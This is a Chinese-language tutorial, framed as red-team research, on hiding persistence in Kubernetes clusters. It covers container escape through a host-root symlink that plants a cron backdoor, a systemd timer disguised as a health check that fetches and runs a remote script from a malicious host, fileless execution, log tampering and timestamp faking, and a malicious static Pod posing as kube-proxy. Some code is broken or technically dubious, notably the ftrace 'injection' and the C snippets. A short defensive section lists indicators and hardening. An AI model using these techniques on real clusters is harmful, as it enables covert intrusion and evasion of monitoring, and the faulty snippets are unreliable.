1. 项目背景与核心挑战
在云原生安全领域,Kubernetes集群的持久化攻击一直是红队演练和防御研究的重点课题。传统攻击手法往往会在主机层留下明显痕迹,例如异常进程、可疑文件或网络连接,极易触发安全产品的告警机制。而本教程要探讨的是一种更高级的隐匿技术链——从容器逃逸开始,通过多重环境适配和痕迹清理,实现在宿主机层的"透明化"驻留。
这种技术之所以具有实战价值,是因为现代云环境普遍采用分层防御体系。安全团队通常会在容器运行时层部署Falco等行为监控工具,在宿主机层部署HIDS主机入侵检测系统,同时配合网络层的流量审计。攻击者若想建立持久化通道,必须同时绕过这三重检测机制。
2. 技术路线设计思路
2.1 整体攻击链分解
完整的隐匿持久化流程包含四个关键阶段:
- 初始逃逸:利用容器配置缺陷或内核漏洞突破隔离边界
- 环境适配:识别宿主机操作系统类型、安全产品分布
- 隐蔽驻留:选择与系统正常行为融合的持久化方式
- 痕迹清理:消除操作产生的临时文件、内存残留等
2.2 关键技术选型考量
与传统攻击相比,本方案特别强调:
- 逃逸阶段:优先选用无需文件落地的内存型漏洞(如CVE-2021-22555)
- 驻留阶段:利用系统合法组件的扩展机制(如systemd timer单元)
- 通信阶段:复用kubelet等合法组件的通信通道
3. 容器逃逸阶段实战
3.1 逃逸向量评估
在具有CAP_SYS_ADMIN权限的容器中,推荐使用以下隐匿逃逸方式:
bash复制# 检查可用逃逸路径
grep -E 'device|lxc|docker' /proc/self/cgroup
find / -name docker.sock 2>/dev/null
cat /proc/self/status | grep CapEff
3.2 基于挂载逃逸的实操
当发现挂载敏感目录时(如/var/lib/kubelet),可采用符号链接攻击:
bash复制# 在容器内创建恶意符号链接
ln -s / /mnt/host_root
# 通过挂载点访问宿主机文件系统
echo "malicious_payload" > /mnt/host_root/etc/cron.hourly/backdoor
chmod +x /mnt/host_root/etc/cron.hourly/backdoor
注意:现代K8s集群通常会设置readOnlyRootFilesystem=true,此时需要结合procfs或sysfs进行逃逸
4. 宿主机环境适配
4.1 安全产品检测
通过以下命令快速识别防护体系:
bash复制# 检测HIDS
ps aux | grep -E 'ossec|wazuh|tenable'
ls -la /etc/init.d/ | grep -E 'selinux|apparmor'
# 检测网络审计
iptables -L -n -v | grep AUDIT
ss -tulnp | grep cilium
4.2 系统指纹采集
需要精确获取的信息包括:
- 操作系统发行版及版本
- 内核版本及已加载模块
- 现有定时任务配置
- 系统日志轮转策略
推荐使用如下命令:
bash复制cat /etc/*-release
uname -a
lsmod
systemctl list-timers --all
logrotate --debug /etc/logrotate.conf
5. 高级持久化技术
5.1 Systemd Timer隐匿驻留
相比传统的crontab,systemd timer具有更好隐蔽性:
ini复制# /etc/systemd/system/healthcheck.timer
[Unit]
Description=Regular system health check
[Timer]
OnCalendar=*-*-* *:00/15:00
Persistent=true
[Install]
WantedBy=timers.target
配套service文件应伪装成合法服务:
ini复制# /etc/systemd/system/healthcheck.service
[Unit]
Description=System health checker
[Service]
ExecStart=/usr/bin/bash -c 'curl -s http://malicious.domain/script.sh | bash'
User=nobody
5.2 内核模块注入
对于较老内核(<5.7),可考虑通过ftrace实现无文件模块加载:
bash复制# 生成恶意模块的shellcode
objcopy -j .text -O binary malicious.ko malicious.bin
# 通过ftrace注入
echo 1 > /sys/kernel/debug/tracing/events/kmem/kmalloc/enable
cat malicious.bin > /sys/kernel/debug/tracing/trace_pipe
6. 痕迹清理技术
6.1 日志干扰技术
针对systemd-journald的日志清理:
bash复制# 定位当前日志存储位置
journalctl --file /var/log/journal/$(ls /var/log/journal/)/system.journal
# 使用内存文件系统临时存储篡改后的日志
mkdir /dev/shm/journal_temp
cp -r /var/log/journal/* /dev/shm/journal_temp/
journalctl --file /dev/shm/journal_temp/system.journal --vacuum-size=1M
mv /dev/shm/journal_temp/* /var/log/journal/
6.2 时间戳混淆
通过修改inode时间属性制造假象:
c复制// timestamp_obfuscate.c
#include <utime.h>
int main() {
struct utimbuf times = {1234567890, 1234567890};
utime("/path/to/file", ×);
}
7. 防御检测建议
7.1 可疑行为指标
防御方应重点关注以下异常:
- 异常的systemd timer单元(特别是User=nobody的服务)
- kubelet日志中出现非常规路径访问
- 内核模块哈希值异常变化
- /proc/mem中出现可疑的ftrace相关操作
7.2 加固配置示例
推荐的基础加固措施:
yaml复制# PodSecurityPolicy示例
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: restricted
spec:
readOnlyRootFilesystem: true
allowedCapabilities: []
volumes:
- 'configMap'
- 'emptyDir'
- 'projected'
- 'secret'
- 'downwardAPI'
hostNetwork: false
hostIPC: false
hostPID: false
8. 高级对抗技巧
当面对已加固的环境时,可尝试以下进阶手法:
8.1 利用Kubernetes API持久化
通过篡改kubelet的静态Pod配置实现复活:
bash复制# 在/etc/kubernetes/manifests/下植入恶意静态Pod
cat <<EOF > /etc/kubernetes/manifests/backdoor.yaml
apiVersion: v1
kind: Pod
metadata:
name: kube-proxy-mirror
spec:
containers:
- name: proxy
image: k8s.gcr.io/kube-proxy:v1.21.0
command: ["/bin/sh","-c","sleep 3600"]
EOF
8.2 内存驻留技术
通过memfd_create实现无文件执行:
c复制// memfd_example.c
#define _GNU_SOURCE
#include <sys/mman.h>
#include <unistd.h>
int main() {
int fd = memfd_create("", MFD_CLOEXEC);
write(fd, ELF_BYTES, sizeof(ELF_BYTES));
fexecve(fd, argv, environ);
}
这种技术的检测需要检查/proc/*/fd下是否存在memfd类型的文件描述符。